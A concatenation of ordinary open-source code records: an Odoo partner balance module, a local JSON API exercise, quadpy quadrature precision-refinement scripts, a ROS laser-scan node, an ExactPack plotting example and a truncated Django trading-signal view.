self.env['account.move.line'].with_context(state='posted', company_id=self.env.company.id)._query_get()\n\n all_partners_and_children = {}\n all_partner_ids = []\n all_partners_and_children_values ={}\n child_to_partner = {}\n for partner in self.filtered('id'):\n all_partners_and_children[partner] = self.with_context(active_test=False).search([('id', 'child_of', partner.id)]).ids\n for child in all_partners_and_children[partner]:\n child_to_partner[child] = partner\n all_partner_ids += all_partners_and_children[partner] \n all_partners_and_children_values[partner] = {'debit':0,'credit':0}\n\n where_params = [tuple(all_partner_ids)] + where_params\n\n if where_clause:\n where_clause = 'AND ' + where_clause\n self._cr.execute(\"\"\"SELECT account_move_line.partner_id, act.type, SUM(account_move_line.amount_residual)\n FROM \"\"\" + tables + \"\"\"\n LEFT JOIN account_account a ON (account_move_line.account_id=a.id)\n LEFT JOIN account_account_type act ON (a.user_type_id=act.id)\n WHERE act.type IN ('receivable','payable')\n AND account_move_line.partner_id IN %s\n AND account_move_line.reconciled IS NOT TRUE\n \"\"\" + where_clause + \"\"\"\n GROUP BY account_move_line.partner_id, act.type\n \"\"\", where_params)\n for pid, type, val in self._cr.fetchall():\n if type == 'receivable':\n all_partners_and_children_values[child_to_partner[pid]]['credit']+=val\n elif type == 'payable':\n all_partners_and_children_values[child_to_partner[pid]]['debit']-=val\n for partner in all_partners_and_children_values:\n partner.credit_all_children = all_partners_and_children_values[partner]['credit']\n partner.debit_all_children = all_partners_and_children_values[partner]['debit']\n \n \n\n\n def _payment_total(self):\n self.total_payments = 0\n if not self.ids:\n return True\n\n all_partners_and_children = {}\n all_partner_ids = []\n for partner in self.filtered('id'):\n # price_total is in the company currency\n all_partners_and_children[partner] = self.with_context(active_test=False).search([('id', 'child_of', partner.id)]).ids\n all_partner_ids += all_partners_and_children[partner]\n\n domain = [\n ('partner_id', 'in', all_partner_ids),\n ('state', 'not in', ['draft', 'cancel']), ]\n totals = self.env['account.payment'].read_group(domain, ['amount'], ['payment_type'])\n for partner, child_ids in all_partners_and_children.items():\n partner.total_payments = sum(x['amount']*(1 if x['amount']=='inbound' else (-1)) for x in totals )\n\n def action_view_partner_payments(self):\n self.ensure_one()\n action = self.env[\"ir.actions.actions\"]._for_xml_id(\"account.action_account_payments\")\n action['domain'] = [\n # ('move_type', 'in', ('out_invoice', 'out_refund')),\n ('partner_id', 'child_of', self.id),\n ]\n action['context'] = {}\n return action \n\n def _bills_total(self):\n self.total_bills = 0\n if not self.ids:\n return True\n\n all_partners_and_children = {}\n all_partner_ids = []\n for partner in self.filtered('id'):\n # price_total is in the company currency\n all_partners_and_children[partner] = self.with_context(active_test=False).search([('id', 'child_of', partner.id)]).ids\n all_partner_ids += all_partners_and_children[partner]\n\n domain = [\n ('partner_id', 'in', all_partner_ids),\n ('state', 'not in', ['draft', 'cancel']),\n ('move_type', 'in', ('in_invoice', 'in_refund')),\n ]\n price_totals = self.env['account.invoice.report'].search(domain) \n for partner, child_ids in all_partners_and_children.items():\n total_bills = 0\n for x in price_totals:\n if x.move_id:\n partner.total_bills +=x.move_id.amount_total\n","repo_name":"NextERP-Romania/addons_extern","sub_path":"partner_current_debit_credit_payments/models/res_partner.py","file_name":"res_partner.py","file_ext":"py","file_size_in_byte":6671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28558521549","text":"#!/usr/bin/python3\n\"\"\"script that takes in a letter\n- Sends a POST request to http://0.0.0.0:5000/search_user\n- with the letter as a parameter\n\"\"\"\n\n\nif __name__ == \"__main__\":\n import requests\n import sys\n\n url = 'http://0.0.0.0:5000/search_user'\n if len(sys.argv) == 1:\n letter = \"\"\n else:\n letter = sys.argv[1]\n q = {\"q\": letter}\n\n try:\n req = requests.post(url, q)\n response = req.json()\n if response == {}:\n print(\"No result\")\n else:\n print(\"[{}] {}\".format(response.get(\"id\"), response.get(\"name\")))\n except ValueError:\n print(\"Not a valid JSON\")\n","repo_name":"AguJP/alx-higher_level_programming","sub_path":"0x11-python-network_1/8-json_api.py","file_name":"8-json_api.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30921662338","text":"import math\n\nimport numpy\nfrom scipy.optimize import least_squares, lsq_linear, minimize\n\nimport orthopy\nimport quadpy\nfrom quadpy.helpers import untangle\nfrom quadpy.sphere._helpers import cartesian_to_spherical\nfrom quadpy.sphere._heo_xu import _f, _f1, _f2, _f11\n\n\ndef partition(boxes, balls):\n \"\"\"Create all nonnegative tuples of length d which sum up to n.\n \"\"\"\n # \n # See for an alterative\n # solution.\n def rec(boxes, balls, parent=tuple()):\n if boxes > 1:\n for i in range(balls + 1):\n for x in rec(boxes - 1, i, parent + (balls - i,)):\n yield x\n else:\n yield parent + (balls,)\n\n return list(rec(boxes, balls))\n\n\ndef integrate_monomial_over_enr(k):\n if numpy.any(k % 2 == 1):\n return 0\n n = len(k)\n return (\n 2\n * math.factorial(sum(k) + n - 1)\n * numpy.prod([math.gamma((kk + 1) / 2.0) for kk in k])\n / math.gamma((sum(k) + n) / 2)\n )\n\n\ndef one():\n def weights_from_points(azimuthal, polar):\n out = orthopy.sphere.tree_sph(\n polar, azimuthal, scheme.degree, standardization=\"quantum mechanic\"\n )\n\n A = numpy.array([row for level in out for row in level])\n\n b = numpy.zeros(A.shape[0])\n # b[0] = numpy.sqrt(4 * numpy.pi)\n b[0] = 1.0 / (2 * numpy.sqrt(numpy.pi))\n\n # solve linear least-squares problem for the weights\n res = lsq_linear(A, b, tol=1.0e-15)\n return res.x, res.fun\n\n def f(x):\n azimuthal, polar = x.reshape(2, -1)\n _, err = weights_from_points(azimuthal, polar)\n v = numpy.sqrt(err.real ** 2 + err.imag ** 2)\n return v\n\n scheme = quadpy.sphere.heo_xu_13()\n print(scheme.points)\n\n # x0 = numpy.column_stack([scheme.weights, scheme.points]).T.reshape(-1)\n x0 = scheme.azimuthal_polar.T.reshape(-1)\n # x0 += 1.0e-10 * numpy.random.rand(*x0.shape)\n\n out = least_squares(f, x0, gtol=1.0e-16, xtol=1.0e-16)\n # print(out.x)\n # print(out.status, out.nfev, out.njev)\n # print(out.message)\n assert out.success\n\n azimuthal, polar = out.x.reshape(2, -1)\n w, _ = weights_from_points(azimuthal, polar)\n assert numpy.all(numpy.imag(w) < 1.0e-14)\n w = numpy.real(w)\n print(\"weights:\")\n for item in w:\n print(\"{:.15e}\".format(item))\n\n x = numpy.sin(polar) * numpy.cos(azimuthal)\n y = numpy.sin(polar) * numpy.sin(azimuthal)\n z = numpy.cos(polar)\n X = numpy.column_stack([x, y, z])\n print()\n print(\"points:\")\n for item in X:\n print(\"{:.15e} {:.15e} {:.15e}\".format(*item))\n return\n\n\ndef heo_xu_13():\n def f(x):\n degree = 13\n data = [\n (x[0], _f((1.0, 1))),\n (x[1], _f2(x[4])),\n (x[2], _f2(x[5])),\n (x[3], _f1(x[6])),\n ]\n points, weights = untangle(data)\n # print(sum(weights))\n azimuthal, polar = cartesian_to_spherical(points).T\n\n out = orthopy.sphere.tree_sph(\n polar, azimuthal, degree, standardization=\"quantum mechanic\"\n )\n\n A = numpy.array([row for level in out for row in level])\n out = numpy.dot(A, weights)\n out[0] -= 1.0 / (2 * numpy.sqrt(numpy.pi))\n v = numpy.sqrt(out.real ** 2 + out.imag ** 2)\n # return v\n norm_v = numpy.sqrt(numpy.vdot(v, v))\n print(norm_v)\n return norm_v\n\n x0 = [\n 0.013_866_592_105,\n 0.013_050_931_863,\n 0.013_206_423_223,\n 0.011_942_663_555,\n 0.286_640_146_767,\n 0.659_905_001_656,\n 0.539_490_098_706,\n ]\n out = minimize(f, x0, method=\"Nelder-Mead\", tol=1.0e-17)\n print(out.status, out.nfev)\n print(out.message)\n assert out.success\n print()\n for x in out.x:\n print(f\"{x:.15e}\")\n return\n\n\ndef heo_xu_15():\n def f(x):\n degree = 15\n data = [\n (x[0], _f((1.0, 1))),\n (x[1], _f((math.sqrt(0.5), 2))),\n (x[2], _f2(x[5])),\n (x[3], _f2(x[6])),\n (x[4], _f1(x[7])),\n ]\n points, weights = untangle(data)\n azimuthal, polar = cartesian_to_spherical(points).T\n\n out = orthopy.sphere.tree_sph(\n polar, azimuthal, degree, standardization=\"quantum mechanic\"\n )\n\n A = numpy.array([row for level in out for row in level])\n out = numpy.dot(A, weights)\n out[0] -= 1.0 / (2 * numpy.sqrt(numpy.pi))\n v = numpy.sqrt(out.real ** 2 + out.imag ** 2)\n norm_v = numpy.sqrt(numpy.vdot(v, v))\n print(norm_v)\n return norm_v\n\n x0 = [\n 0.013_191_522_874,\n 0.011_024_070_845,\n 0.010_538_971_114,\n 0.011_656_960_715,\n 0.010_660_818_696,\n 0.337_785_899_794,\n 0.658_511_676_782,\n 0.399_194_381_765,\n ]\n out = minimize(f, x0, method=\"Nelder-Mead\", tol=1.5e-16, options={\"maxiter\": 10000})\n print(out.status, out.nfev)\n print(out.message)\n assert out.success\n print()\n for x in out.x:\n print(f\"{x:.15e}\")\n return\n\n\ndef heo_xu_17():\n def f(x):\n degree = 17\n data = [\n (x[0], _f((math.sqrt(1.0 / 3.0), 3))),\n (x[1], _f((1.0, 1))),\n (x[2], _f2(x[6])),\n (x[3], _f2(x[7])),\n (x[4], _f1(x[8])),\n (x[5], _f1(x[9])),\n ]\n points, weights = untangle(data)\n azimuthal, polar = cartesian_to_spherical(points).T\n\n out = orthopy.sphere.tree_sph(\n polar, azimuthal, degree, standardization=\"quantum mechanic\"\n )\n\n A = numpy.array([row for level in out for row in level])\n out = numpy.dot(A, weights)\n out[0] -= 1.0 / (2 * numpy.sqrt(numpy.pi))\n v = numpy.sqrt(out.real ** 2 + out.imag ** 2)\n norm_v = numpy.sqrt(numpy.vdot(v, v))\n print(norm_v)\n return norm_v\n\n x0 = [\n +0.009_103_396_603,\n -0.002_664_002_664,\n +0.010_777_836_655,\n +0.009_161_945_784,\n +0.009_798_544_912,\n +0.009_559_874_447,\n 0.357_406_744_337,\n 0.678_598_344_546,\n 0.542_521_185_161,\n 0.222_866_509_741,\n ]\n out = minimize(f, x0, method=\"Nelder-Mead\", tol=1.0e-17, options={\"maxiter\": 10000})\n print(out.status, out.nfev)\n print(out.message)\n assert out.success\n print()\n for x in out.x:\n print(f\"{x:.15e}\")\n\n return\n\n\ndef heo_xu_19_1():\n def f(x):\n degree = 19\n data = [\n (x[0], _f((math.sqrt(1.0 / 3.0), 3))),\n (x[1], _f((1.0, 1))),\n (x[2], _f((math.sqrt(0.5), 2))),\n (x[3], _f2(x[7])),\n (x[4], _f2(x[8])),\n (x[5], _f1(x[9])),\n (x[6], _f11(x[10], x[11])),\n ]\n points, weights = untangle(data)\n azimuthal, polar = cartesian_to_spherical(points).T\n\n out = orthopy.sphere.tree_sph(\n polar, azimuthal, degree, standardization=\"quantum mechanic\"\n )\n\n A = numpy.array([row for level in out for row in level])\n out = numpy.dot(A, weights)\n out[0] -= 1.0 / (2 * numpy.sqrt(numpy.pi))\n v = numpy.sqrt(out.real ** 2 + out.imag ** 2)\n norm_v = numpy.sqrt(numpy.vdot(v, v))\n print(norm_v)\n return norm_v\n\n x0 = [\n 0.008_559_575_701,\n 0.006_231_186_664,\n 0.007_913_582_691,\n 0.007_736_373_931,\n 0.004_644_831_902,\n 0.007_625_284_540,\n 0.006_646_198_191,\n 0.201_742_306_653,\n 0.675_586_904_541,\n 0.443_668_207_806,\n 0.496_188_289_109,\n 0.814_892_033_188,\n ]\n\n out = minimize(f, x0, method=\"Nelder-Mead\", tol=1.0e-16, options={\"maxiter\": 10000})\n print(out.status, out.nfev)\n print(out.message)\n assert out.success\n print()\n for x in out.x:\n print(f\"{x:.15e}\")\n\n return\n\n\ndef heo_xu_19_2():\n def f(x):\n degree = 19\n data = [\n (x[0], _f((math.sqrt(1.0 / 3.0), 3))),\n (x[1], _f2(x[6])),\n (x[2], _f2(x[7])),\n (x[3], _f2(x[8])),\n (x[4], _f2(x[9])),\n (x[5], _f11(x[10], x[11])),\n ]\n\n points, weights = untangle(data)\n azimuthal, polar = cartesian_to_spherical(points).T\n\n out = orthopy.sphere.tree_sph(\n polar, azimuthal, degree, standardization=\"quantum mechanic\"\n )\n\n A = numpy.array([row for level in out for row in level])\n out = numpy.dot(A, weights)\n out[0] -= 1.0 / (2 * numpy.sqrt(numpy.pi))\n v = numpy.sqrt(out.real ** 2 + out.imag ** 2)\n norm_v = numpy.sqrt(numpy.vdot(v, v))\n print(norm_v)\n return norm_v\n\n x0 = [\n 0.006_159_164_865,\n 0.007_661_426_126,\n 0.006_632_044_977,\n 0.006_075_982_031,\n 0.005_261_983_872,\n 0.006_991_087_353,\n 0.154_480_689_145,\n 0.414_167_295_917,\n 0.667_293_171_280,\n 0.703_446_477_338,\n 0.449_332_832_327,\n 0.882_270_011_260,\n ]\n\n out = minimize(f, x0, method=\"Nelder-Mead\", tol=1.5e-16, options={\"maxiter\": 10000})\n print(out.status, out.nfev)\n print(out.message)\n assert out.success\n print()\n for x in out.x:\n print(f\"{x:.15e}\")\n\n return\n\n\ndef stenger_7a_5():\n from quadpy.helpers import fsd, untangle, z, get_all_exponents\n from quadpy.nball._helpers import integrate_monomial_over_unit_nball\n\n def f(x):\n degree = 7\n n = 5\n u = x[0]\n v = x[1]\n B = x[2:]\n data = [\n (B[0], z(n)),\n (B[1], fsd(n, (u, 1))),\n (B[2], fsd(n, (v, 1))),\n (B[3], fsd(n, (u, 2))),\n (B[4], fsd(n, (v, 2))),\n (B[5], fsd(n, (u, 3))),\n ]\n points, weights = untangle(data)\n\n exponents = get_all_exponents(n, degree)\n # flatten list\n exponents = numpy.array([item for sublist in exponents for item in sublist])\n\n def evaluate_all_monomials(x):\n return numpy.prod(x[..., None] ** exponents.T[:, None], axis=0).T\n\n flt = numpy.vectorize(float)\n exact_vals = flt([integrate_monomial_over_unit_nball(k) for k in exponents])\n\n A = evaluate_all_monomials(points.T)\n\n out = numpy.dot(A, weights)\n out -= exact_vals\n\n norm_v = numpy.sqrt(numpy.dot(out, out))\n print(norm_v)\n return norm_v\n\n x0 = [\n 0.250_562_808_085_732,\n 0.694_746_590_606_866,\n -0.220_221_371_883_822e03,\n +0.730_167_125_339_176e02,\n +0.143_281_369_027_706,\n -0.203_714_128_400_494e02,\n +0.448_293_291_677_155e-01,\n +0.383_685_702_879_441e01,\n ]\n\n out = minimize(f, x0, method=\"Powell\", tol=1.0e-12, options={\"maxiter\": 10000})\n print(out.status, out.nfev)\n print(out.message)\n assert out.success\n print()\n for x in out.x:\n print(f\"{x:.15e}\")\n return\n\n\ndef stenger_11a_5():\n from quadpy.helpers import fsd, untangle, z, get_all_exponents\n from quadpy.nball._helpers import integrate_monomial_over_unit_nball\n\n def f(x):\n degree = 11\n n = 5\n u = x[0]\n v = x[1]\n w = x[2]\n B = x[3:]\n data = [\n (B[0], z(n)),\n (B[1], fsd(n, (u, 1))),\n (B[2], fsd(n, (v, 1))),\n (B[3], fsd(n, (w, 1))),\n (B[4], fsd(n, (u, 2))),\n (B[5], fsd(n, (v, 2))),\n (B[6], fsd(n, (w, 2))),\n (B[7], fsd(n, (u, 1), (v, 1))),\n (B[8], fsd(n, (u, 1), (w, 1))),\n (B[9], fsd(n, (u, 3))),\n (B[10], fsd(n, (v, 3))),\n (B[11], fsd(n, (w, 3))),\n (B[12], fsd(n, (u, 2), (v, 1))),\n ]\n if n > 3:\n data += [(B[13], fsd(n, (u, 4))), (B[14], fsd(n, (v, 4)))]\n if n > 4:\n data += [(B[15], fsd(n, (u, 5)))]\n points, weights = untangle(data)\n\n exponents = get_all_exponents(n, degree)\n # flatten list\n exponents = numpy.array([item for sublist in exponents for item in sublist])\n\n def evaluate_all_monomials(x):\n return numpy.prod(x[..., None] ** exponents.T[:, None], axis=0).T\n\n flt = numpy.vectorize(float)\n exact_vals = flt([integrate_monomial_over_unit_nball(k) for k in exponents])\n\n A = evaluate_all_monomials(points.T)\n\n out = numpy.dot(A, weights)\n out -= exact_vals\n\n norm_v = numpy.sqrt(numpy.dot(out, out))\n print()\n print(norm_v)\n print()\n for xx in x:\n print(f\"{xx:.15e}\")\n return norm_v\n\n x0 = [\n 0.819_845_995_463_488,\n 0.540_604_637_387_361,\n 0.188_677_422_490_785,\n -0.455_346_412_352_218e03,\n -0.643_198_057_179_463,\n -0.313_723_910_937_508,\n +0.142_863_899_851_242e03,\n -0.115_044_196_304_602e-02,\n +0.149_484_688_898_586,\n -0.373_831_314_185_824e02,\n -0.141_469_445_049_282e-01,\n +0.104_863_970_436_266,\n -0.973_070_178_977_534e-03,\n -0.862_234_640_073_899e-02,\n +0.654_476_925_250_512e01,\n +0.153_312_717_360_660e-02,\n -0.611_928_443_128_898e-04,\n +0.622_126_777_947_090e-02,\n +0.887_274_197_302_674e-05,\n ]\n\n out = minimize(f, x0, method=\"Powell\", tol=1.0e-12, options={\"maxiter\": 10000})\n print(out.status, out.nfev)\n print(out.message)\n assert out.success\n print()\n for x in out.x:\n print(f\"{x:.15e}\")\n return\n\n\ndef stenger_11b_3():\n from quadpy.helpers import fsd, untangle, z, get_all_exponents\n from quadpy.nball._helpers import integrate_monomial_over_unit_nball\n\n def f(x):\n degree = 11\n n = 3\n\n u = 0.871_740_148_509_601\n v = 0.591_700_181_433_148\n w = 0.209_299_217_902_484\n\n # u = x[0]\n # v = x[1]\n # w = x[2]\n # B = x[3:]\n B = x\n\n data = [\n (B[0], z(n)),\n (B[1], fsd(n, (u, 1))),\n (B[2], fsd(n, (v, 1))),\n (B[3], fsd(n, (w, 1))),\n (B[4], fsd(n, (u, 2))),\n (B[5], fsd(n, (v, 2))),\n (B[6], fsd(n, (w, 2))),\n (B[7], fsd(n, (u, 1), (v, 1))),\n (B[8], fsd(n, (u, 1), (w, 1))),\n (B[9], fsd(n, (u, 3))),\n (B[10], fsd(n, (v, 3))),\n (B[11], fsd(n, (w, 3))),\n (B[12], fsd(n, (u, 2), (v, 1))),\n ]\n\n points, weights = untangle(data)\n\n exponents = get_all_exponents(n, degree)\n # flatten list\n exponents = numpy.array([item for sublist in exponents for item in sublist])\n\n def evaluate_all_monomials(x):\n return numpy.prod(x[..., None] ** exponents.T[:, None], axis=0).T\n\n flt = numpy.vectorize(float)\n exact_vals = flt([integrate_monomial_over_unit_nball(k) for k in exponents])\n\n A = evaluate_all_monomials(points.T)\n\n out = numpy.dot(A, weights)\n out -= exact_vals\n\n norm_v = numpy.sqrt(numpy.dot(out, out))\n # print()\n print(norm_v)\n # print()\n # for xx in x:\n # print(f\"{xx:.15e}\")\n return norm_v\n\n x0 = [\n # 0.871_740_148_509_601,\n # 0.591_700_181_433_148,\n # 0.209_299_217_902_484,\n -0.369_608_422_804_220e02,\n -0.292_281_498_761_429,\n +0.981_554_121_166_593e-01,\n +0.200_417_005_906_264e02,\n +0.915_649_460_852_702e-03,\n +0.140_881_585_655_056,\n -0.109_681_663_185_532e02,\n -0.867_910_432_951_898e-02,\n +0.118_181_679_110_079,\n -0.172_723_379_038_583e-02,\n +0.153_215_767_717_862e-01,\n +0.614_931_311_140_891e01,\n +0.205_381_636_291_801e-02,\n ]\n\n out = minimize(f, x0, method=\"Powell\", tol=1.0e-15, options={\"maxiter\": 20000})\n print(out.status, out.nfev)\n print(out.message)\n print()\n for x in out.x:\n print(f\"{x:.15e}\")\n assert out.success\n return\n\n\ndef stroud_e2r2_gauss():\n from quadpy.helpers import fsd\n\n def f(x):\n degree = 7\n data = [\n (x[0], fsd(2, (x[3], 1))),\n (x[1], fsd(2, (x[4], 1))),\n (x[2], fsd(2, (x[3], 1), (x[4], 1))),\n ]\n\n points = numpy.array(\n [\n [0.0, +x[3]],\n [0.0, -x[3]],\n [+x[3], 0.0],\n [-x[3], 0.0],\n #\n [0.0, +x[4]],\n [0.0, -x[4]],\n [+x[4], 0.0],\n [-x[4], 0.0],\n #\n #\n [+x[3], +x[4]],\n [+x[3], -x[4]],\n [-x[3], +x[4]],\n [-x[3], -x[4]],\n ]\n )\n\n points, weights = untangle(data)\n\n A = numpy.concatenate(orthopy.e2r2.tree(points.T, degree, symbolic=False))\n\n out = numpy.dot(A, weights)\n out[0] -= numpy.sqrt(numpy.pi)\n\n norm_v = numpy.sqrt(numpy.vdot(out, out))\n # print(norm_v)\n return norm_v\n\n # Cartesian product Gauss formula\n # sqrt6 = numpy.sqrt(6)\n # r, s = [numpy.sqrt((3 + p_m * sqrt6) / 2) for p_m in [+1, -1]]\n # A, B = [(5 - p_m * 2 * sqrt6) / 48 for p_m in [+1, -1]]\n # C = 1.0 / 48.0\n # A *= math.pi\n # B *= math.pi\n # C *= math.pi\n # x0 = [A, B, C, r, s]\n\n while True:\n x0 = numpy.random.rand(5) * 10 - 5\n\n print()\n print(\"x0\", x0)\n\n out = minimize(\n f, x0, method=\"Nelder-Mead\", tol=1.0e-15, options={\"maxiter\": 20000}\n )\n print(out.status, out.nfev, out.message, \"Function value\", out.fun)\n # assert out.success\n if abs(out.fun) < 1.0e-10:\n print()\n for x in out.x:\n print(f\"{x:.15e}\")\n break\n return\n\n\ndef rabinowitz_richter_4():\n from quadpy.e2r._helpers import _s4, _s8, _s40\n\n def f(x):\n degree = 13\n data = [\n (x[0], [[x[8], x[9]]]),\n (x[1], _s40(x[10])),\n (x[2], _s40(x[11])),\n (x[3], _s4(x[12])),\n (x[4], _s4(x[13])),\n (x[5], _s4(x[14])),\n (x[6], _s8(x[15], x[16])),\n (x[7], _s8(x[17], x[18])),\n ]\n points, weights = untangle(data)\n\n exponents = numpy.concatenate([partition(2, d) for d in range(degree + 1)])\n exact_vals = numpy.array([integrate_monomial_over_enr(k) for k in exponents])\n\n def fun(x):\n k = exponents.T\n # \n s = x.shape[1:] + k.shape[1:]\n return (\n (x.reshape(x.shape[0], -1, 1) ** k.reshape(k.shape[0], 1, -1))\n .prod(0)\n .reshape(s)\n )\n\n A = fun(points.T).T\n print(A)\n print(exact_vals)\n print(sum(weights))\n out = numpy.dot(A, weights) - exact_vals\n nrm = numpy.sqrt(numpy.dot(out, out))\n print(nrm)\n exit(1)\n return nrm\n\n x0 = [\n +0.349_777_602_241_248_0e1,\n +0.442_580_256_591_559_0e-6,\n +0.455_340_971_239_599_4e-2,\n +0.277_530_326_587_565_2e-4,\n +0.331_277_792_488_418_2e1,\n -0.101_044_092_999_506_7e1,\n +0.112_721_370_308_653_4e-3,\n +0.492_114_301_738_741_9e2,\n #\n 0.0,\n 0.0,\n 19.676_381_860_412_46,\n 8.770_037_945_037_203,\n 10.205_685_192_384_36,\n 3.591_105_603_680_783,\n 3.242_171_893_025_389,\n 11.941_693_015_408_18,\n 4.911_904_665_577_694,\n 3.287_383_483_530_638,\n 3.162_277_660_168_379,\n ]\n\n out = minimize(f, x0, method=\"Nelder-Mead\", tol=1.0e-17)\n print(out.status, out.nfev)\n print(out.message)\n assert out.success\n print()\n for x in out.x:\n print(f\"{x:.15e}\")\n return\n\n\ndef stroud_1967_5():\n from quadpy.helpers import rd\n\n def f(x):\n degree = 5\n n = 7\n\n lmbda, xi, mu, gamma = x\n eta = 0\n A = 1 / 9\n B = 1 / 72\n C = B\n\n # data = [\n # (B, rd(n, [(+lmbda, 1), (+xi, n - 1)])),\n # (B, rd(n, [(-lmbda, 1), (-xi, n - 1)])),\n # (C, rd(n, [(+mu, 2), (+gamma, n - 2)])),\n # (C, rd(n, [(-mu, 2), (-gamma, n - 2)])),\n # (2 * A, numpy.full((1, n), eta)),\n # ]\n # points, weights = untangle(data)\n # weights *= numpy.sqrt(numpy.pi) ** n\n\n data = [\n (B, rd(n, [(+lmbda, 1), (+xi, n - 1)])),\n (B, rd(n, [(-lmbda, 1), (-xi, n - 1)])),\n (C, rd(n, [(+mu, 2), (+gamma, n - 2)])),\n (C, rd(n, [(-mu, 2), (-gamma, n - 2)])),\n (2 * A, numpy.full((1, n), eta)),\n ]\n\n points, weights = untangle(data)\n weights *= numpy.sqrt(numpy.pi) ** n\n\n A = numpy.concatenate(orthopy.enr2.tree(points.T, degree, symbolic=False))\n\n out = numpy.dot(A, weights)\n out[0] -= numpy.sqrt(numpy.sqrt(numpy.pi)) ** n\n\n norm_v = numpy.sqrt(numpy.vdot(out, out))\n return norm_v\n\n x0 = [\n 2.009505637083749e+00,\n 2.774548295173737e-01,\n -1.062215595206724e+00,\n 6.698352123613097e-01,\n # 2.009_505_6,\n # 0.277_454_83,\n # -1.062_215_60,\n # 0.669_835_21,\n ]\n\n out = minimize(\n f, x0, method=\"Powell\", tol=1.0e-20, options={\"maxiter\": 20000}\n )\n print(out.status, out.nfev, out.message, \"Function value\", out.fun)\n assert out.success\n print()\n for x in out.x:\n print(f\"{x:.15e}\")\n return\n\n\nif __name__ == \"__main__\":\n stroud_1967_5()\n","repo_name":"LJPapenfort/quadpy","sub_path":"tools/improve_precision.py","file_name":"improve_precision.py","file_ext":"py","file_size_in_byte":21642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"2978324316","text":"#!/usr/bin/env python\n# Written by\n# Udomsin Seechampa, Cal-Comp Electronics Thailand PLC\n\nimport math\n\nimport rospy\nfrom sensor_msgs.msg import LaserScan\n\n\nclass LaserConversion:\n def __init__(self):\n rospy.init_node('laser_conversion', anonymous=False)\n\n # Topic Subscription\n rospy.Subscriber('scan_raw', LaserScan, self.laser_scan_callback)\n\n # Topic Publication\n self.laser_scan_pub = rospy.Publisher(\"scan\", LaserScan, queue_size=1)\n\n rospy.spin()\n\n def laser_scan_callback(self, data):\n laser_scan = data\n laser_scan_list = list(laser_scan.ranges)\n\n for n, i in enumerate(laser_scan_list):\n if i == 0 or math.isinf(i):\n laser_scan_list[n] = 65.536 \n\n laser_scan.ranges = laser_scan_list\n self.laser_scan_pub.publish(laser_scan)\n\n\nif __name__ == '__main__':\n LaserConversion()\n","repo_name":"alan-chen-lab/NANYA_project","sub_path":"src/rplidar/laser/nodes/laser_conversion.py","file_name":"laser_conversion.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24680028368","text":"import numpy as np\nimport matplotlib.pylab as plt\nfrom matplotlib import rc, rcParams\n#rc('text',usetex=True)\nrc('font',**{'family':'serif','serif':['Computer Modern']})\n\n# import ExactPack solver and analysis tools\nfrom exactpack.solvers.guderley import Guderley\n\n#####################################################################\nrmax = 3.0\nr = np.linspace(0.0, rmax, 1000)\n\nsolver = Guderley(gamma=3.0)\n\n#####################################################################\nt = -1.\nsoln = solver(r,t)\n\nsoln.plot('density',label='density')\nsoln.plot('pressure')\nsoln.plot('velocity')\nsoln.plot('sie')\nplt.xlim(0.0,rmax)\nplt.title(r'ExactPack solver class Guderley: $t=-1\\,{\\rm s}$')\nplt.ylim(-0.5,3.0)\nplt.legend(loc=0)\nplt.grid(True)\nplt.show()\n","repo_name":"smandal97/ExactPack","sub_path":"exactpack/examples/guderley.py","file_name":"guderley.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"33124089008","text":"from django.shortcuts import render, get_object_or_404\nfrom .models import Counter, PCR_data,Telegram_data,BTC_Data\nfrom django.http import HttpResponse\nimport json\nimport requests\nimport pandas as pd\nfrom django.template import loader\nimport datetime as dt\nimport datetime\nimport pytz\nimport time\n\n\ndef Check(request):\n\n # mydata = BTC_Data.objects.last()\n # mydata_f = BTC_Data.objects.first()\n\n field_name = 'signal'\n field_name_2 = 'RSI'\n field_name_id = 'id'\n field_name_time = 'time'\n\n obj = BTC_Data.objects.last()\n\n\n field_value_id = getattr(obj, field_name_id)\n field_value_time = getattr(obj, field_name_time)\n field_value_signal = getattr(obj, field_name)\n field_value_rsi = getattr(obj, field_name_2)\n\n print(\"field_value_signal\",field_value_signal)\n print(\"field_value_rsi\",field_value_rsi)\n print(\"field_value_time\",field_value_time)\n print(\"field_value_id\",field_value_id)\n\n # field_value_rsi = float(field_value_rsi)\n # field_value_sma = float(field_value_sma)\n\n # latest_second = BTC_Data.objects.filter().order_by('-pk')[1]\n # field_value_sma_2 = getattr(latest_second, field_name)\n # field_value_rsi_2 = getattr(latest_second, field_name_2)\n\n # print(\"field_value_sma_2\",field_value_sma_2)\n # print(\"field_value_sma_2\",field_value_sma_2)\n # field_value_rsi_2 = float(field_value_rsi_2)\n # field_value_sma_2 = float(field_value_sma_2)\n\n # 1 == buy\n # 0 == sell\n # 2 == null\n\n ans = 2\n\n# # ----------------------------------------Logging code-------------------------------\n# analysis = f'''\\n -------1 BUY {field_value_time}--------------- \\n \"\n# field_value_rsi<=40\",{field_value_rsi<=40,field_value_rsi} \\n\n# field_value_sma 0 and field_value_rsi>= field_value_sma and field_value_sma>=field_value_rsi_2 )\",{(field_value_rsi - field_value_rsi_2)>0 and field_value_rsi>= field_value_sma and field_value_sma>=field_value_rsi_2} RSI_latest{field_value_rsi} RSI_Prev {field_value_rsi_2},SMA{field_value_sma} \\n \n# (\"( field_value_rsi <=60 \", {field_value_rsi <=60 ,field_value_rsi} )\n# (\"-------BUY-END--------------\")\\n\n# \\n\n# (\"-------0 sell {field_value_time}---------------\")\\n\n# (\"field_value_rsi >=60\",{field_value_rsi>=60, field_value_rsi} ) \\n\n# (\"field_value_sma 0 and field_value_rsi>= field_value_sma and field_value_sma>=field_value_rsi_2\",{(field_value_rsi - field_value_rsi_2)>0 and field_value_rsi>= field_value_sma and field_value_sma>=field_value_rsi_2}, RSI_latest{field_value_rsi}, RSI_Prev {field_value_rsi_2},SMA{field_value_sma}) \\n\n# (\"( field_value_rsi>=37 \", {field_value_rsi >=37,field_value_rsi} ) \\n\n# (\"-------0 Sell----------------\")\\n '''\n# # ----------------------------------------Logging 